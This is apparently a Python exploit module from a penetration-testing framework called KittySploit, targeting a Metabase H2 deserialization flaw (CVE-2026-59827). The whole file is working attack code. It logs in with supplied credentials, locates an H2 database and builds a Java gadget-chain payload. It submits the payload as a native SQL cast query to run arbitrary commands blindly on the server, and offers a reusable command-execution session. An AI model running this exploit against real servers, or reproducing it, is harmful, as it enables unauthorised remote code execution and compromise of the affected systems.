Metabase - H2 Deserialization RCE (CVE-2026-59827)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase H2 native query deserialization RCE (CVE-2026-59827) — blind execute session."""

from __future__ import annotations

import json
import os
import subprocess
from contextlib import ExitStack, contextmanager
from pathlib import Path

from kittysploit import *
from core.utils.paths import data_resource_as_file, data_resource_exists, framework_root
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
from lib.scanner.http.response_validation import parse_json_response


_FIXED_VERSIONS = {
    58: (15, 0),
    59: (12, 0),
    60: (6, 3),
    61: (1, 4),
}

_RCE_INDICATORS = (
    'ClassCastException',
    'ProcessImpl',
    'NonTransientConnection',
    'JdbcSQLData',
)


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Metabase - H2 Deserialization RCE (CVE-2026-59827)',
        'description': (
            'Exploits CVE-2026-59827 by authenticating to Metabase, locating an H2 database '
            '(including the default sample DB), and submitting a native query that deserializes '
            'a Clojure PriorityQueue gadget chain via SELECT CAST(X\'...\' AS OTHER). '
            'Command execution is blind — output is not returned over HTTP.'
        ),
        'author': ['Gutierre0x80', 'KittySploit Team'],
        'cve': ['CVE-2026-59827'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36',
            'https://nvd.nist.gov/vuln/detail/CVE-2026-59827',
            'https://www.exploit-db.com/exploits/52680',
        ],
        'tags': [
            'metabase', 'h2', 'java', 'deserialization', 'authenticated', 'rce',
            'cve-2026-59827',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['metabase'],
                'auth_session': True,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'H2 OTHER column deserialization'},
                    {'capability': 'shell', 'from_detail': 'blind execute session'},
                ],
                'suggested_followups': ['scanner/http/metabase_cve_2026_59827_detect'],
            },
        },
    }

    port = OptPort(3000, 'Metabase HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    username = OptString('', 'Metabase username / email', required=True)
    password = OptString('', 'Metabase password', required=True)
    database_id = OptInteger(0, 'H2 database id (0 = auto-select first H2)', required=False, advanced=True)
    java_executable = OptString('java', 'Java binary for payload generation', required=False, advanced=True)
    skip_version_check = OptBool(False, 'Skip Metabase version range validation', required=False, advanced=True)

    _ASSET_FILES = (
        'clojure-1.12.3.jar',
        'spec.alpha.jar',
        'core.specs.alpha.jar',
        'VarChainPayload.class',
    )

    def _api(self, suffix: str) -> str:
        base = (self.path or '/').rstrip('/')
        if not suffix.startswith('/'):
            suffix = f'/{suffix}'
        return f'{base}{suffix}' if base else suffix

    @staticmethod
    def _parse_version_tag(tag: str) -> tuple[int, int, int] | None:
        raw = str(tag or '').strip().lstrip('vV')
        nums: list[int] = []
        for part in raw.split('.')[:4]:
            digits = ''
            for ch in part:
                if ch.isdigit():
                    digits += ch
                else:
                    break
            if not digits:
                break
            nums.append(int(digits))
        if len(nums) >= 2 and nums[0] == 0:
            if len(nums) >= 4:
                return nums[1], nums[2], nums[3]
            if len(nums) == 3:
                return nums[1], nums[2], 0
            return nums[1], 0, 0
        if len(nums) >= 3:
            return nums[0], nums[1], nums[2]
        if len(nums) == 2:
            return nums[0], nums[1], 0
        return None

    @classmethod
    def _version_is_vulnerable(cls, tag: str) -> bool:
        parsed = cls._parse_version_tag(tag)
        if not parsed:
            return False
        major, minor, patch = parsed
        if major < 58:
            return False
        fixed = _FIXED_VERSIONS.get(major)
        if not fixed:
            return major >= 58
        f_minor, f_patch = fixed
        if minor > f_minor:
            return False
        if minor < f_minor:
            return True
        return patch < f_patch

    def _fetch_version(self) -> tuple[str | None, str | None]:
        response = self.http_request(
            method='GET',
            path=self._api('/api/session/properties'),
            allow_redirects=False,
        )
        if not response or int(response.status_code or 0) != 200:
            return None, 'Metabase session/properties not reachable'
        body, err = parse_json_response(response)
        if err or not body:
            return None, err or 'invalid JSON from session/properties'
        tag = (body.get('version') or {}).get('tag', '')
        return (str(tag).strip() or None), None

    def _assets_available(self) -> bool:
        return all(
            data_resource_exists('exploits', 'CVE-2026-59827', 'prebuilt', name)
            for name in self._ASSET_FILES
        )

    @contextmanager
    def _payload_asset_paths(self):
        if not self._assets_available():
            root = framework_root()
            prebuilt = (root / 'data' / 'exploits' / 'CVE-2026-59827' / 'prebuilt') if root else None
            if not prebuilt or not prebuilt.is_dir():
                raise FileNotFoundError('CVE-2026-59827 prebuilt assets not found')
            yield {name: prebuilt / name for name in self._ASSET_FILES}
            return

        paths: dict[str, Path] = {}
        with ExitStack() as stack:
            for name in self._ASSET_FILES:
                paths[name] = Path(
                    stack.enter_context(
                        data_resource_as_file('exploits', 'CVE-2026-59827', 'prebuilt', name)
                    )
                )
            yield paths

    def _generate_payload_hex(self, command: str) -> str:
        java = str(self.java_executable or 'java').strip() or 'java'
        with self._payload_asset_paths() as assets:
            prebuilt = assets['VarChainPayload.class'].parent
            classpath = os.pathsep.join(
                str(assets[name]) for name in self._ASSET_FILES if name.endswith('.jar')
            )
            classpath = f'{classpath}{os.pathsep}{prebuilt}'
            cmd = [
                java,
                '--add-opens', 'java.base/java.util=ALL-UNNAMED',
                '-cp', classpath,
                'VarChainPayload',
                str(command),
            ]
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=45,
                cwd=str(prebuilt),
            )
        payload = (result.stdout or '').strip()
        if not payload:
            err = (result.stderr or result.stdout or 'unknown error').strip()
            raise RuntimeError(f'VarChainPayload failed: {err[:500]}')
        if not payload.startswith('ACED'):
            raise RuntimeError('VarChainPayload did not return Java serialization hex')
        return payload

    def _authenticate(self) -> str | None:
        response = self.http_request(
            method='POST',
            path=self._api('/api/session'),
            json={'username': str(self.username), 'password': str(self.password)},
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        if not response or int(response.status_code or 0) != 200:
            return None
        body, err = parse_json_response(response)
        if err or not body:
            return None
        token = body.get('id')
        return str(token).strip() if token else None

    def _find_h2_database(self, token: str) -> tuple[int | None, str | None]:
        if int(self.database_id or 0) > 0:
            return int(self.database_id), None
        response = self.http_request(
            method='GET',
            path=self._api('/api/database'),
            headers={'X-Metabase-Session': token},
            allow_redirects=False,
        )
        if not response or int(response.status_code or 0) != 200:
            return None, None
        body, err = parse_json_response(response)
        if err or body is None:
            return None, None
        rows = body.get('data', body) if isinstance(body, dict) else body
        if not isinstance(rows, list):
            return None, None
        for row in rows:
            if isinstance(row, dict) and row.get('engine') == 'h2':
                return int(row.get('id')), str(row.get('name') or '')
        return None, None

    def _response_indicates_rce(self, body: object) -> bool:
        text = body if isinstance(body, str) else json.dumps(body, default=str)
        return any(marker in text for marker in _RCE_INDICATORS)

    def _fire_query(self, token: str, db_id: int, command: str) -> tuple[object, bool]:
        payload_hex = self._generate_payload_hex(command)
        sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
        response = self.http_request(
            method='POST',
            path=self._api('/api/dataset'),
            headers={'X-Metabase-Session': token, 'Content-Type': 'application/json'},
            json={'database': db_id, 'native': {'query': sql}, 'type': 'native'},
            allow_redirects=False,
        )
        if not response:
            return '', False
        body, err = parse_json_response(response)
        if err or body is None:
            body = response.text or ''
        ok = self._response_indicates_rce(body)
        return body, ok

    def check(self):
        version, verr = self._fetch_version()
        if not version:
            return {'vulnerable': False, 'reason': verr or 'Metabase not detected', 'confidence': 'low'}

        if not self.skip_version_check and not self._version_is_vulnerable(version):
            return {
                'vulnerable': False,
                'reason': f'Metabase {version} appears patched for CVE-2026-59827',
                'confidence': 'high',
                'version': version,
            }

        if not self.username or not self.password:
            return {
                'vulnerable': True,
                'reason': (
                    f'Metabase {version} is in a potentially vulnerable range; '
                    'provide username/password to confirm H2 RCE'
                ),
                'confidence': 'medium',
                'version': version,
            }

        token = self._authenticate()
        if not token:
            return {
                'vulnerable': False,
                'reason': 'Authentication failed — invalid credentials',
                'confidence': 'high',
                'version': version,
            }

        db_id, db_name = self._find_h2_database(token)
        if not db_id:
            return {
                'vulnerable': False,
                'reason': 'No accessible H2 database found for native queries',
                'confidence': 'high',
                'version': version,
            }

        _, ok = self._fire_query(token, db_id, 'id')
        if ok:
            return {
                'vulnerable': True,
                'reason': (
                    f'CVE-2026-59827 confirmed on Metabase {version} '
                    f'via H2 database {db_name or db_id}'
                ),
                'confidence': 'high',
                'version': version,
            }
        return {
            'vulnerable': False,
            'reason': 'Authenticated H2 query did not show deserialization RCE indicators',
            'confidence': 'medium',
            'version': version,
        }

    def check_execute(self) -> bool:
        token = self._authenticate()
        if not token:
            return False
        db_id, _ = self._find_h2_database(token)
        if not db_id:
            return False
        token_marker = self.random_text(8)
        _, ok = self._fire_query(token, db_id, f'echo {token_marker}')
        return ok

    def execute(self, cmd: str) -> str:
        token = getattr(self, '_session_token', None) or self._authenticate()
        if not token:
            return ''
        self._session_token = token
        db_id = getattr(self, '_h2_db_id', None)
        if not db_id:
            db_id, _ = self._find_h2_database(token)
            if not db_id:
                return ''
            self._h2_db_id = db_id
        body, ok = self._fire_query(token, int(db_id), str(cmd))
        if ok:
            return (
                '[blind RCE — command accepted; H2 deserialization indicators observed]\n'
                + (body if isinstance(body, str) else json.dumps(body))
            )
        return body if isinstance(body, str) else json.dumps(body)

    def run(self):
        if not self._assets_available() and not (framework_root() / 'data' / 'exploits' / 'CVE-2026-59827' / 'prebuilt').is_dir():
            print_error('CVE-2026-59827 prebuilt assets missing (Java jars / VarChainPayload.class)')
            return False
        try:
            subprocess.run(
                [str(self.java_executable or 'java'), '-version'],
                capture_output=True,
                timeout=10,
                check=True,
            )
        except (FileNotFoundError, subprocess.CalledProcessError, subprocess.TimeoutExpired):
            print_error('Java (OpenJDK 11+) is required to generate deserialization payloads')
            return False

        if not self.check_execute():
            self.not_vulnerable()
            return False

        print_warning('Metabase H2 RCE is blind — command output is not returned in HTTP responses')
        return self.handler_execute()